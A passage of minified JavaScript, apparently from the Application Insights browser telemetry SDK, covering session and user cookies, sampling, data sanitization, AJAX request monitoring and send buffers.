r.__aiCircularRefCheck,e},i._serializeArray=function(t,r){var f=undefined,u,e,o;if(t)if(n.Util.isArray(t))for(f=[],u=0;u<t.length;u++)e=t[u],o=i._serializeObject(e,r+"["+u+"]"),f.push(o);else n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.ItemNotInArray,"This field was specified as an array in the contract but the item is not an array.\r\n",{name:r},!0);return f},i._serializeStringMap=function(t,i,r){var u=undefined,f,e,o;if(t){u={};for(f in t)e=t[f],"string"===i?u[f]=e===undefined?"undefined":null===e?"null":e.toString?e.toString():"invalid field: toString() is not defined.":"number"===i?e===undefined?u[f]="undefined":null===e?u[f]="null":(o=parseFloat(e),u[f]=isNaN(o)?"NaN":o):(u[f]="invalid field: "+r+" is of unknown type.",n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,u[f],null,!0))}return u},i}();n.Serializer=i}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){!function(i){!function(i){var r=function(n){function r(r,u){var f=n.call(this)||this;return f.name=i.DataSanitizer.sanitizeString(u)||t.Util.NotSpecified,f.data=r,f.time=t.Util.toISOStringForIE8(new Date),f.aiDataContract={time:t.FieldType.Required,iKey:t.FieldType.Required,name:t.FieldType.Required,sampleRate:function(){return 100==f.sampleRate?t.FieldType.Hidden:t.FieldType.Required},tags:t.FieldType.Required,data:t.FieldType.Required},f}return __extends(r,n),r}(n.Telemetry.Envelope);i.Envelope=r}(i.Common||(i.Common={}))}(t.Telemetry||(t.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){!function(t){!function(t){var i=function(n){function t(){var t=null!==n&&n.apply(this,arguments)||this;return t.aiDataContract={},t}return __extends(t,n),t}(n.Telemetry.Base);t.Base=i}(t.Common||(t.Common={}))}(t.Telemetry||(t.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){var t=function(){return function(){this.applicationVersion="ai.application.ver";this.applicationBuild="ai.application.build";this.applicationTypeId="ai.application.typeId";this.applicationId="ai.application.applicationId";this.applicationLayer="ai.application.layer";this.deviceId="ai.device.id";this.deviceIp="ai.device.ip";this.deviceLanguage="ai.device.language";this.deviceLocale="ai.device.locale";this.deviceModel="ai.device.model";this.deviceFriendlyName="ai.device.friendlyName";this.deviceNetwork="ai.device.network";this.deviceNetworkName="ai.device.networkName";this.deviceOEMName="ai.device.oemName";this.deviceOS="ai.device.os";this.deviceOSVersion="ai.device.osVersion";this.deviceRoleInstance="ai.device.roleInstance";this.deviceRoleName="ai.device.roleName";this.deviceScreenResolution="ai.device.screenResolution";this.deviceType="ai.device.type";this.deviceMachineName="ai.device.machineName";this.deviceVMName="ai.device.vmName";this.deviceBrowser="ai.device.browser";this.deviceBrowserVersion="ai.device.browserVersion";this.locationIp="ai.location.ip";this.locationCountry="ai.location.country";this.locationProvince="ai.location.province";this.locationCity="ai.location.city";this.operationId="ai.operation.id";this.operationName="ai.operation.name";this.operationParentId="ai.operation.parentId";this.operationRootId="ai.operation.rootId";this.operationSyntheticSource="ai.operation.syntheticSource";this.operationCorrelationVector="ai.operation.correlationVector";this.sessionId="ai.session.id";this.sessionIsFirst="ai.session.isFirst";this.sessionIsNew="ai.session.isNew";this.userAccountAcquisitionDate="ai.user.accountAcquisitionDate";this.userAccountId="ai.user.accountId";this.userAgent="ai.user.userAgent";this.userId="ai.user.id";this.userStoreRegion="ai.user.storeRegion";this.userAuthUserId="ai.user.authUserId";this.userAnonymousUserAcquisitionDate="ai.user.anonUserAcquisitionDate";this.userAuthenticatedUserAcquisitionDate="ai.user.authUserAcquisitionDate";this.cloudName="ai.cloud.name";this.cloudRole="ai.cloud.role";this.cloudRoleVer="ai.cloud.roleVer";this.cloudRoleInstance="ai.cloud.roleInstance";this.cloudEnvironment="ai.cloud.environment";this.cloudLocation="ai.cloud.location";this.cloudDeploymentUnit="ai.cloud.deploymentUnit";this.internalSdkVersion="ai.internal.sdkVersion";this.internalAgentVersion="ai.internal.agentVersion";this.internalNodeName="ai.internal.nodeName"}}();n.ContextTagKeys=t}(AI||(AI={}));!function(n){!function(n){!function(n){var t=function(){return function(){}}();n.Application=t}(n.Context||(n.Context={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(n){var t=function(){return function(){this.id="browser";this.type="Browser"}}();n.Device=t}(n.Context||(n.Context={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(){return function(t){this.sdkVersion=(t.sdkExtension()?t.sdkExtension()+"_":"")+"javascript:"+n.Version}}();t.Internal=i}(n.Context||(n.Context={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(n){var t=function(){return function(){}}();n.Location=t}(n.Context||(n.Context={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(){return function(){this.id=n.Util.newId();window&&window.location&&window.location.pathname&&(this.name=window.location.pathname)}}();t.Operation=i}(n.Context||(n.Context={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){function n(){}return n.prototype.getHashCodeScore=function(t){return 100*(this.getHashCode(t)/n.INT_MAX_VALUE)},n.prototype.getHashCode=function(t){if(""==t)return 0;for(;t.length<n.MIN_INPUT_LENGTH;)t=t.concat(t);for(var i=5381,r=0;r<t.length;++r)i=(i<<5)+i+t.charCodeAt(r),i&=i;return Math.abs(i)},n.INT_MAX_VALUE=2147483647,n.MIN_INPUT_LENGTH=8,n}();n.HashCodeScoreGenerator=t}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){function t(){this.hashCodeGeneragor=new n.HashCodeScoreGenerator}return t.prototype.getSamplingScore=function(n){var t=new AI.ContextTagKeys;return n.tags[t.userId]?this.hashCodeGeneragor.getHashCodeScore(n.tags[t.userId]):n.tags[t.operationId]?this.hashCodeGeneragor.getHashCodeScore(n.tags[t.operationId]):Math.random()},t}();n.SamplingScoreGenerator=t}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(){function t(t){this.INT_MAX_VALUE=2147483647;(t>100||t<0)&&(n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.SampleRateOutOfRange,"Sampling rate is out of range (0..100). Sampling will be disabled, you may be sending too much data which may affect your AI service level.",{samplingRate:t},!0),this.sampleRate=100);this.sampleRate=t;this.samplingScoreGenerator=new n.SamplingScoreGenerator}return t.prototype.isSampledIn=function(n){return 100==this.sampleRate||this.samplingScoreGenerator.getSamplingScore(n)<this.sampleRate},t}();t.Sample=i}(n.Context||(n.Context={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(){return function(){}}(),r;t.Session=i;r=function(){function t(n){n||(n={});"function"!=typeof n.sessionExpirationMs&&(n.sessionExpirationMs=function(){return t.acquisitionSpan});"function"!=typeof n.sessionRenewalMs&&(n.sessionRenewalMs=function(){return t.renewalSpan});this.config=n;this.automaticSession=new i}return t.prototype.update=function(){this.automaticSession.id||this.initializeAutomaticSession();var i=n.dateTime.Now(),r=i-this.automaticSession.acquisitionDate>this.config.sessionExpirationMs(),u=i-this.automaticSession.renewalDate>this.config.sessionRenewalMs();r||u?(this.automaticSession.isFirst=undefined,this.renew()):(!this.cookieUpdatedTimestamp||i-this.cookieUpdatedTimestamp>t.cookieUpdateInterval)&&(this.automaticSession.renewalDate=i,this.setCookie(this.automaticSession.id,this.automaticSession.acquisitionDate,this.automaticSession.renewalDate))},t.prototype.backup=function(){this.setStorage(this.automaticSession.id,this.automaticSession.acquisitionDate,this.automaticSession.renewalDate)},t.prototype.initializeAutomaticSession=function(){var t=n.Util.getCookie("ai_session"),i;t&&"function"==typeof t.split?this.initializeAutomaticSessionWithData(t):(i=n.Util.getStorage("ai_session"),i&&this.initializeAutomaticSessionWithData(i));this.automaticSession.id||(this.automaticSession.isFirst=!0,this.renew())},t.prototype.initializeAutomaticSessionWithData=function(t){var i=t.split("|"),r,u;i.length>0&&(this.automaticSession.id=i[0]);try{i.length>1&&(r=+i[1],this.automaticSession.acquisitionDate=+new Date(r),this.automaticSession.acquisitionDate=this.automaticSession.acquisitionDate>0?this.automaticSession.acquisitionDate:0);i.length>2&&(u=+i[2],this.automaticSession.renewalDate=+new Date(u),this.automaticSession.renewalDate=this.automaticSession.renewalDate>0?this.automaticSession.renewalDate:0)}catch(f){n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.ErrorParsingAISessionCookie,"Error parsing ai_session cookie, session will be reset: "+n.Util.getExceptionName(f),{exception:n.Util.dump(f)})}0==this.automaticSession.renewalDate&&n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.SessionRenewalDateIsZero,"AI session renewal date is 0, session will be reset.")},t.prototype.renew=function(){var t=n.dateTime.Now();this.automaticSession.id=n.Util.newId();this.automaticSession.acquisitionDate=t;this.automaticSession.renewalDate=t;this.setCookie(this.automaticSession.id,this.automaticSession.acquisitionDate,this.automaticSession.renewalDate);n.Util.canUseLocalStorage()||n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.BrowserDoesNotSupportLocalStorage,"Browser does not support local storage. Session durations will be inaccurate.")},t.prototype.setCookie=function(t,i,r){var f=i+this.config.sessionExpirationMs(),e=r+this.config.sessionRenewalMs(),u=new Date,s=[t,i,r],o;f<e?u.setTime(f):u.setTime(e);o=this.config.cookieDomain?this.config.cookieDomain():null;n.Util.setCookie("ai_session",s.join("|")+";expires="+u.toUTCString(),o);this.cookieUpdatedTimestamp=n.dateTime.Now()},t.prototype.setStorage=function(t,i,r){n.Util.setStorage("ai_session",[t,i,r].join("|"))},t.acquisitionSpan=864e5,t.renewalSpan=18e5,t.cookieUpdateInterval=6e4,t}();t._SessionManager=r}(n.Context||(n.Context={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(){function t(i){var s=n.Util.getCookie(t.userCookieName),e,u,o,h,c,f,r;s&&(e=s.split(t.cookieSeparator),e.length>0&&(this.id=e[0]));(this.config=i,this.id)||(this.id=n.Util.newId(),u=new Date,o=n.Util.toISOStringForIE8(u),this.accountAcquisitionDate=o,u.setTime(u.getTime()+31536e6),h=[this.id,o],c=this.config.cookieDomain?this.config.cookieDomain():undefined,n.Util.setCookie(t.userCookieName,h.join(t.cookieSeparator)+";expires="+u.toUTCString(),c),n.Util.removeStorage("ai_session"));this.accountId=i.accountId?i.accountId():undefined;f=n.Util.getCookie(t.authUserCookieName);f&&(r=(f=decodeURI(f)).split(t.cookieSeparator),r[0]&&(this.authenticatedId=r[0]),r.length>1&&r[1]&&(this.accountId=r[1]))}return t.prototype.setAuthenticatedUserContext=function(i,r,u){if(void 0===u&&(u=!1),this.validateUserInput(i)&&(!r||this.validateUserInput(r))){this.authenticatedId=i;var f=this.authenticatedId;r&&(this.accountId=r,f=[this.authenticatedId,this.accountId].join(t.cookieSeparator));u&&n.Util.setCookie(t.authUserCookieName,encodeURI(f),this.config.cookieDomain())}else n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.SetAuthContextFailedAccountName,"Setting auth user context failed. User auth/account id should be of type string, and not contain commas, semi-colons, equal signs, spaces, or vertical-bars.",!0)},t.prototype.clearAuthenticatedUserContext=function(){this.authenticatedId=null;this.accountId=null;n.Util.deleteCookie(t.authUserCookieName)},t.prototype.validateUserInput=function(n){return!("string"!=typeof n||!n||n.match(/,|;|=| |\|/))},t.cookieSeparator="|",t.userCookieName="ai_user",t.authUserCookieName="ai_authUser",t}();t.User=i}(n.Context||(n.Context={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){function n(){}return n.IsNullOrUndefined=function(n){return void 0===n||null===n},n}(),i,r,u,f;n.extensions=t;i=function(){function n(){}return n.GetLength=function(n){var i=0,r;if(!t.IsNullOrUndefined(n)){r="";try{r=n.toString()}catch(u){}i=r.length;i=isNaN(i)?0:i}return i},n}();n.stringUtils=i;r=function(){function n(){}return n.Now=window.performance&&window.performance.now&&window.performance.timing?function(){return window.performance.now()+window.performance.timing.navigationStart}:function(){return(new Date).getTime()},n.GetDuration=function(n,i){var r=null;return 0===n||0===i||t.IsNullOrUndefined(n)||t.IsNullOrUndefined(i)||(r=i-n),r},n}();n.dateTime=r;u=function(){function n(){}return n.AttachEvent=function(n,i,r){var u=!1;return t.IsNullOrUndefined(n)||(t.IsNullOrUndefined(n.attachEvent)?t.IsNullOrUndefined(n.addEventListener)||(n.addEventListener(i,r,!1),u=!0):(n.attachEvent("on"+i,r),u=!0)),u},n.DetachEvent=function(n,i,r){t.IsNullOrUndefined(n)||(t.IsNullOrUndefined(n.detachEvent)?t.IsNullOrUndefined(n.removeEventListener)||n.removeEventListener(i,r,!1):n.detachEvent("on"+i,r))},n}();n.EventHelper=u;f=function(){function t(){}return t.ParseDependencyPath=function(t,i,r){var e,f,u;return t&&t.length>0?(u=n.UrlHelper.parseUrl(t),e=u.host,null!=u.pathname?("/"!==(r=0===u.pathname.length?"/":u.pathname).charAt(0)&&(r="/"+r),f=n.Telemetry.Common.DataSanitizer.sanitizeString(i?i+" "+r:r)):f=n.Telemetry.Common.DataSanitizer.sanitizeString(t)):(e=r,f=r),{target:e,name:f}},t}();n.AjaxHelper=f}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){return function(){this.openDone=!1;this.setRequestHeaderDone=!1;this.sendDone=!1;this.abortDone=!1;this.onreadystatechangeCallbackAttached=!1}}(),i;n.XHRMonitoringState=t;i=function(){function i(i){this.completed=!1;this.requestHeadersSize=null;this.ttfb=null;this.responseReceivingDuration=null;this.callbackDuration=null;this.ajaxTotalDuration=null;this.aborted=null;this.pageUrl=null;this.requestUrl=null;this.requestSize=0;this.method=null;this.status=null;this.requestSentTime=null;this.responseStartedTime=null;this.responseFinishedTime=null;this.callbackFinishedTime=null;this.endTime=null;this.originalOnreadystatechage=null;this.xhrMonitoringState=new t;this.clientFailure=0;this.CalculateMetrics=function(){var t=this;t.ajaxTotalDuration=Math.round(1e3*n.dateTime.GetDuration(t.requestSentTime,t.responseFinishedTime))/1e3};this.id=i}return i.prototype.getAbsoluteUrl=function(){return this.requestUrl?n.UrlHelper.getAbsoluteUrl(this.requestUrl):null},i.prototype.getPathName=function(){return this.requestUrl?n.Telemetry.Common.DataSanitizer.sanitizeUrl(n.UrlHelper.getCompleteUrl(this.method,this.requestUrl)):null},i}();n.ajaxRecord=i}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){function n(){}return n.requestContextHeader="Request-Context",n.requestContextTargetKey="appId",n.requestContextAppIdFormat="appId=cid-v1:",n.requestIdHeader="Request-Id",n.sdkContextHeader="Sdk-Context",n.sdkContextHeaderAppIdRequest="appId",n.requestContextHeaderLowerCase="request-context",n}();n.RequestHeaders=t}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var t=function(){return function(){}}();n.Domain=t}(n.Telemetry||(n.Telemetry={}))}(Microsoft||(Microsoft={}));!function(n){var t=function(n){function t(){var t=n.call(this)||this;return t.ver=2,t.properties={},t.measurements={},t}return __extends(t,n),t}(Microsoft.Telemetry.Domain);n.EventData=t}(AI||(AI={}));!function(n){var t=function(n){function t(){var t=n.call(this)||this;return t.ver=2,t.properties={},t.measurements={},t}return __extends(t,n),t}(n.EventData);n.PageViewData=t}(AI||(AI={}));!function(n){var t=function(n){function t(){var t=n.call(this)||this;return t.ver=2,t.success=!0,t.properties={},t.measurements={},t}return __extends(t,n),t}(Microsoft.Telemetry.Domain);n.RemoteDependencyData=t}(AI||(AI={}));!function(n){!function(n){!function(t){!function(t){var i=function(){function t(){}return t.sanitizeKeyAndAddUniqueness=function(n,i){var e=n.length,r=t.sanitizeKey(n),f,u;if(r.length!==e){for(f=0,u=r;i[u]!==undefined;)f++,u=r.substring(0,t.MAX_NAME_LENGTH-3)+t.padNumber(f);r=u}return r},t.sanitizeKey=function(i){return i&&(i=n.Util.trim(i.toString())).length>t.MAX_NAME_LENGTH&&(i=i.substring(0,t.MAX_NAME_LENGTH),n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.NameTooLong,"name is too long.  It has been truncated to "+t.MAX_NAME_LENGTH+" characters.",{name:i},!0)),i},t.sanitizeString=function(i,r){return void 0===r&&(r=t.MAX_STRING_LENGTH),i&&(r=r||t.MAX_STRING_LENGTH,(i=n.Util.trim(i)).toString().length>r&&(i=i.toString().substring(0,r),n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.StringValueTooLong,"string value is too long. It has been truncated to "+r+" characters.",{value:i},!0))),i},t.sanitizeUrl=function(i){return t.sanitizeInput(i,t.MAX_URL_LENGTH,n._InternalMessageId.UrlTooLong)},t.sanitizeMessage=function(i){return i&&i.length>t.MAX_MESSAGE_LENGTH&&(i=i.substring(0,t.MAX_MESSAGE_LENGTH),n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.MessageTruncated,"message is too long, it has been truncated to "+t.MAX_MESSAGE_LENGTH+" characters.",{message:i},!0)),i},t.sanitizeException=function(i){return i&&i.length>t.MAX_EXCEPTION_LENGTH&&(i=i.substring(0,t.MAX_EXCEPTION_LENGTH),n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.ExceptionTruncated,"exception is too long, it has been truncated to "+t.MAX_EXCEPTION_LENGTH+" characters.",{exception:i},!0)),i},t.sanitizeProperties=function(n){var i,r,u;if(n){i={};for(r in n)u=t.sanitizeString(n[r],t.MAX_PROPERTY_LENGTH),i[r=t.sanitizeKeyAndAddUniqueness(r,i)]=u;n=i}return n},t.sanitizeMeasurements=function(n){var i,r,u;if(n){i={};for(r in n)u=n[r],i[r=t.sanitizeKeyAndAddUniqueness(r,i)]=u;n=i}return n},t.sanitizeId=function(i){return i?t.sanitizeInput(i,t.MAX_ID_LENGTH,n._InternalMessageId.IdTooLong).toString():i},t.sanitizeInput=function(t,i,r){return t&&(t=n.Util.trim(t)).length>i&&(t=t.substring(0,i),n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,r,"input is too long, it has been truncated to "+i+" characters.",{data:t},!0)),t},t.padNumber=function(n){var t="00"+n;return t.substr(t.length-3)},t.MAX_NAME_LENGTH=150,t.MAX_ID_LENGTH=128,t.MAX_PROPERTY_LENGTH=8192,t.MAX_STRING_LENGTH=1024,t.MAX_URL_LENGTH=2048,t.MAX_MESSAGE_LENGTH=32768,t.MAX_EXCEPTION_LENGTH=32768,t}();t.DataSanitizer=i}(t.Common||(t.Common={}))}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){!function(t){var i=function(i){function r(r,u,f,e,o,s,h,c,l){var a=i.call(this)||this,v;return a.aiDataContract={id:n.FieldType.Required,ver:n.FieldType.Required,name:n.FieldType.Default,resultCode:n.FieldType.Default,duration:n.FieldType.Default,success:n.FieldType.Default,data:n.FieldType.Default,target:n.FieldType.Default,type:n.FieldType.Default,properties:n.FieldType.Default,measurements:n.FieldType.Default,kind:n.FieldType.Default,value:n.FieldType.Default,count:n.FieldType.Default,min:n.FieldType.Default,max:n.FieldType.Default,stdDev:n.FieldType.Default,dependencyKind:n.FieldType.Default,dependencySource:n.FieldType.Default,commandName:n.FieldType.Default,dependencyTypeName:n.FieldType.Default},a.id=r,a.duration=n.Util.msToTimeSpan(e),a.success=o,a.resultCode=s+"",a.type="Ajax",a.data=t.Common.DataSanitizer.sanitizeUrl(f),v=n.AjaxHelper.ParseDependencyPath(u,h,f),a.target=v.target,a.name=v.name,a.properties=n.Telemetry.Common.DataSanitizer.sanitizeProperties(c),a.measurements=n.Telemetry.Common.DataSanitizer.sanitizeMeasurements(l),a}return __extends(r,i),r.envelopeType="Microsoft.ApplicationInsights.{0}.RemoteDependency",r.dataType="RemoteDependencyData",r}(AI.RemoteDependencyData);t.RemoteDependencyData=i}(n.Telemetry||(n.Telemetry={}))}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(t){var i=function(){function i(n){this.currentWindowHost=window.location.host&&window.location.host.toLowerCase();this.appInsights=n;this.initialized=!1;this.Init()}return i.prototype.Init=function(){this.supportsMonitoring()&&(this.instrumentOpen(),this.instrumentSend(),this.instrumentAbort(),this.initialized=!0)},i.prototype.isMonitoredInstance=function(n,r){return this.initialized&&(!0===r||!t.extensions.IsNullOrUndefined(n.ajaxData))&&!0!==n[i.DisabledPropertyName]},i.prototype.supportsMonitoring=function(){var n=!0;(t.extensions.IsNullOrUndefined(XMLHttpRequest)||t.extensions.IsNullOrUndefined(XMLHttpRequest.prototype)||t.extensions.IsNullOrUndefined(XMLHttpRequest.prototype.open)||t.extensions.IsNullOrUndefined(XMLHttpRequest.prototype.send)||t.extensions.IsNullOrUndefined(XMLHttpRequest.prototype.abort))&&(n=!1);try{" a ".trim()}catch(i){n=!1}return n},i.prototype.instrumentOpen=function(){var u=XMLHttpRequest.prototype.open,r=this;XMLHttpRequest.prototype.open=function(f,e,o){try{!r.isMonitoredInstance(this,!0)||this.ajaxData&&this.ajaxData.xhrMonitoringState.openDone||r.openHandler(this,f,e,o)}catch(s){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.FailedMonitorAjaxOpen,"Failed to monitor XMLHttpRequest.open, monitoring data for this ajax call may be incorrect.",{ajaxDiagnosticsMessage:i.getFailedAjaxDiagnosticsMessage(this),exception:n.ApplicationInsights.Util.dump(s)})}return u.apply(this,arguments)}},i.prototype.openHandler=function(n,i,r){var f="|"+this.appInsights.context.operation.id+"."+t.Util.newId(),u=new t.ajaxRecord(f);u.method=i;u.requestUrl=r;u.xhrMonitoringState.openDone=!0;n.ajaxData=u;this.attachToOnReadyStateChange(n)},i.getFailedAjaxDiagnosticsMessage=function(n){var i="";try{t.extensions.IsNullOrUndefined(n)||t.extensions.IsNullOrUndefined(n.ajaxData)||t.extensions.IsNullOrUndefined(n.ajaxData.requestUrl)||(i+="(url: '"+n.ajaxData.requestUrl+"')")}catch(r){}return i},i.prototype.instrumentSend=function(){var u=XMLHttpRequest.prototype.send,r=this;XMLHttpRequest.prototype.send=function(f){try{r.isMonitoredInstance(this)&&!this.ajaxData.xhrMonitoringState.sendDone&&r.sendHandler(this,f)}catch(e){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.FailedMonitorAjaxSend,"Failed to monitor XMLHttpRequest, monitoring data for this ajax call may be incorrect.",{ajaxDiagnosticsMessage:i.getFailedAjaxDiagnosticsMessage(this),exception:n.ApplicationInsights.Util.dump(e)})}return u.apply(this,arguments)}},i.prototype.sendHandler=function(n){if(n.ajaxData.requestSentTime=t.dateTime.Now(),t.CorrelationIdHelper.canIncludeCorrelationHeader(this.appInsights.config,n.ajaxData.getAbsoluteUrl(),this.currentWindowHost)&&(n.setRequestHeader(t.RequestHeaders.requestIdHeader,n.ajaxData.id),this.appInsights.context)){var i=this.appInsights.context.appId();i&&n.setRequestHeader(t.RequestHeaders.requestContextHeader,t.RequestHeaders.requestContextAppIdFormat+i)}n.ajaxData.xhrMonitoringState.sendDone=!0},i.prototype.instrumentAbort=function(){var r=XMLHttpRequest.prototype.abort,u=this;XMLHttpRequest.prototype.abort=function(){try{u.isMonitoredInstance(this)&&!this.ajaxData.xhrMonitoringState.abortDone&&(this.ajaxData.aborted=1,this.ajaxData.xhrMonitoringState.abortDone=!0)}catch(f){t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.FailedMonitorAjaxAbort,"Failed to monitor XMLHttpRequest.abort, monitoring data for this ajax call may be incorrect.",{ajaxDiagnosticsMessage:i.getFailedAjaxDiagnosticsMessage(this),exception:n.ApplicationInsights.Util.dump(f)})}return r.apply(this,arguments)}},i.prototype.attachToOnReadyStateChange=function(r){var u=this;r.ajaxData.xhrMonitoringState.onreadystatechangeCallbackAttached=t.EventHelper.AttachEvent(r,"readystatechange",function(){try{u.isMonitoredInstance(r)&&4===r.readyState&&u.onAjaxComplete(r)}catch(f){var e=n.ApplicationInsights.Util.dump(f);e&&-1!=e.toLowerCase().indexOf("c00c023f")||t._InternalLogging.throwInternal(t.LoggingSeverity.CRITICAL,t._InternalMessageId.FailedMonitorAjaxRSC,"Failed to monitor XMLHttpRequest 'readystatechange' event handler, monitoring data for this ajax call may be incorrect.",{ajaxDiagnosticsMessage:i.getFailedAjaxDiagnosticsMessage(r),exception:n.ApplicationInsights.Util.dump(f)})}})},i.prototype.onAjaxComplete=function(n){if(n.ajaxData.responseFinishedTime=t.dateTime.Now(),n.ajaxData.status=n.status,n.ajaxData.CalculateMetrics(),n.ajaxData.ajaxTotalDuration<0)t._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.FailedMonitorAjaxDur,"Failed to calculate the duration of the ajax call, monitoring data for this ajax call won't be sent.",{ajaxDiagnosticsMessage:i.getFailedAjaxDiagnosticsMessage(n),requestSentTime:n.ajaxData.requestSentTime,responseFinishedTime:n.ajaxData.responseFinishedTime});else{var r=new t.Telemetry.RemoteDependencyData(n.ajaxData.id,n.ajaxData.getAbsoluteUrl(),n.ajaxData.getPathName(),n.ajaxData.ajaxTotalDuration,+n.ajaxData.status>=200&&+n.ajaxData.status<400,+n.ajaxData.status,n.ajaxData.method),u=this.getCorrelationContext(n);u&&(r.target=r.target+" | "+u);this.appInsights.trackDependencyData(r);n.ajaxData=null}},i.prototype.getCorrelationContext=function(r){var u,f;try{if(u=r.getAllResponseHeaders(),null!==u&&-1!==u.toLowerCase().indexOf(t.RequestHeaders.requestContextHeaderLowerCase))return f=r.getResponseHeader(t.RequestHeaders.requestContextHeader),t.CorrelationIdHelper.getCorrelationContext(f)}catch(e){t._InternalLogging.throwInternal(t.LoggingSeverity.WARNING,t._InternalMessageId.FailedMonitorAjaxGetCorrelationHeader,"Failed to get Request-Context correlation header as it may be not included in the response or not accessible.",{ajaxDiagnosticsMessage:i.getFailedAjaxDiagnosticsMessage(r),exception:n.ApplicationInsights.Util.dump(e)})}},i.instrumentedByAppInsightsName="InstrumentedByAppInsights",i.DisabledPropertyName="Microsoft_ApplicationInsights_BypassAjaxInstrumentation",i}();t.AjaxMonitor=i}(n.ApplicationInsights||(n.ApplicationInsights={}))}(Microsoft||(Microsoft={}));!function(n){!function(n){var i=function(){function n(n){this._config=n;this._buffer=[]}return n.prototype.enqueue=function(n){this._buffer.push(n)},n.prototype.count=function(){return this._buffer.length},n.prototype.clear=function(){this._buffer.length=0},n.prototype.getItems=function(){return this._buffer.slice(0)},n.prototype.batchPayloads=function(n){return n&&n.length>0?this._config.emitLineDelimitedJson()?n.join("\n"):"["+n.join(",")+"]":null},n.prototype.markAsSent=function(){this.clear()},n.prototype.clearSent=function(){},n}(),t;n.ArraySendBuffer=i;t=function(){function t(n){this._bufferFullMessageSent=!1;this._config=n;var i=this.getBuffer(t.BUFFER_KEY),r=this.getBuffer(t.SENT_BUFFER_KEY);this._buffer=i.concat(r);this._buffer.length>t.MAX_BUFFER_SIZE&&(this._buffer.length=t.MAX_BUFFER_SIZE);this.setBuffer(t.SENT_BUFFER_KEY,[]);this.setBuffer(t.BUFFER_KEY,this._buffer)}return t.prototype.enqueue=function(i){this._buffer.length>=t.MAX_BUFFER_SIZE?this._bufferFullMessageSent||(n._InternalLogging.throwInternal(n.LoggingSeverity.WARNING,n._InternalMessageId.SessionStorageBufferFull,"Maximum buffer size reached: "+this._buffer.length,!0),this._bufferFullMessageSent=!0):(this._buffer.push(i),this.setBuffer(t.BUFFER_KEY,this._buffer))},t.prototype.count=function(){return this._buffer.length},t.prototype.clear=function(){this._buffer.length=0;this.setBuffer(t.BUFFER_KEY,[]);this.setBuffer(t.SENT_BUFFER_KEY,[]);this._bufferFullMessageSent=!1},t.prototype.getItems=function(){return this._buffer.slice(0)},t.prototype.batchPayloads=function(n){return n&&n.length>0?this._config.emitLineDelimitedJson()?n.join("\n"):"["+n.join(",")+"]":null},t.prototype.markAsSent=function(i){this._buffer=this.removePayloadsFromBuffer(i,this._buffer);this.setBuffer(t.BUFFER_KEY,this._buffer);var r=this.getBuffer(t.SENT_BUFFER_KEY);r instanceof Array&&i instanceof Array&&((r=r.concat(i)).length>t.MAX_BUFFER_SIZE&&(n._InternalLogging.throwInternal(n.LoggingSeverity.CRITICAL,n._InternalMessageId.SessionStorageBufferFull,"Sent buffer reached its maximum size: "+r.length,!0),r.length=t.MAX_BUFFER_SIZE),this.setBuffer(t.SENT_BUFFER_KEY,r))},t.prototype.clearSent=function(n){var i=this.getBuffer(t.SENT_BUFFER_KEY);i=this.removePayloadsFromBuffer(n,i);this.setBuffer(t.SENT_BUFFER_KEY,i)},t.prototype.removePayloadsFromBuffer=function(n,t){var u=[],i,r,f;for(i in t){r=!1;for(f in n)if(n[f]===t[i]){r=!0;break}r||u.push(t[i])}return u},t.prototype.getBuffer=function(t){var 